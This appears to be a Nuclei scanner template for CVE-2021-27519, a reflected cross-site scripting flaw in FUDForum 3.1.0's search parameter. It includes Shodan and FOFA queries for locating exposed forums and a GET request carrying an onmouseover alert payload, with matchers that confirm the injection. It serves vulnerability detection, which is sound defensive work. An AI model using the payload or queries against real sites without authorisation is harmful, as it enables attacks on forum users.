61 lines
2.1 KiB
YAML
61 lines
2.1 KiB
YAML
id: CVE-2021-27519
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info:
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name: FUDForum 3.1.0 - Cross-Site Scripting
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author: kh4sh3i
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severity: medium
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description: |
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FUDForum 3.1.0 contains a cross-site scripting vulnerability which allows remote attackers to inject JavaScript via index.php in the "srch" parameter.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
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remediation: |
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Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability.
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reference:
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- https://www.exploit-db.com/exploits/49942
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- https://github.com/fudforum/FUDforum/issues/2
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- http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27519
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- https://github.com/ARPSyndicate/cvemon
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-27519
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cwe-id: CWE-79
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epss-score: 0.00217
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epss-percentile: 0.59671
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cpe: cpe:2.3:a:fudforum:fudforum:3.1.0:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: fudforum
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product: fudforum
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shodan-query:
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- 'http.html:"Powered by: FUDforum"'
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- http.html:"fudforum"
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- 'http.html:"powered by: fudforum"'
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fofa-query:
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- 'body="powered by: fudforum"'
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- body="fudforum"
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tags: cve2021,cve,xss,fudforum,edb,packetstorm
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http:
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- method: GET
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path:
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- '{{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'highlightSearchTerms("x" onmouseover=alert(1) x="");'
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 490a00463044022011114e55f427c5c0cb3f1d7c6103073c1213207ae385557c419f07609587a76702204ca46f5b36c70ef46dbf6f665b41bef0cc15c48017836e493a3ad4ed38a65f66:922c64590222798bb761d5b6d8e72950 |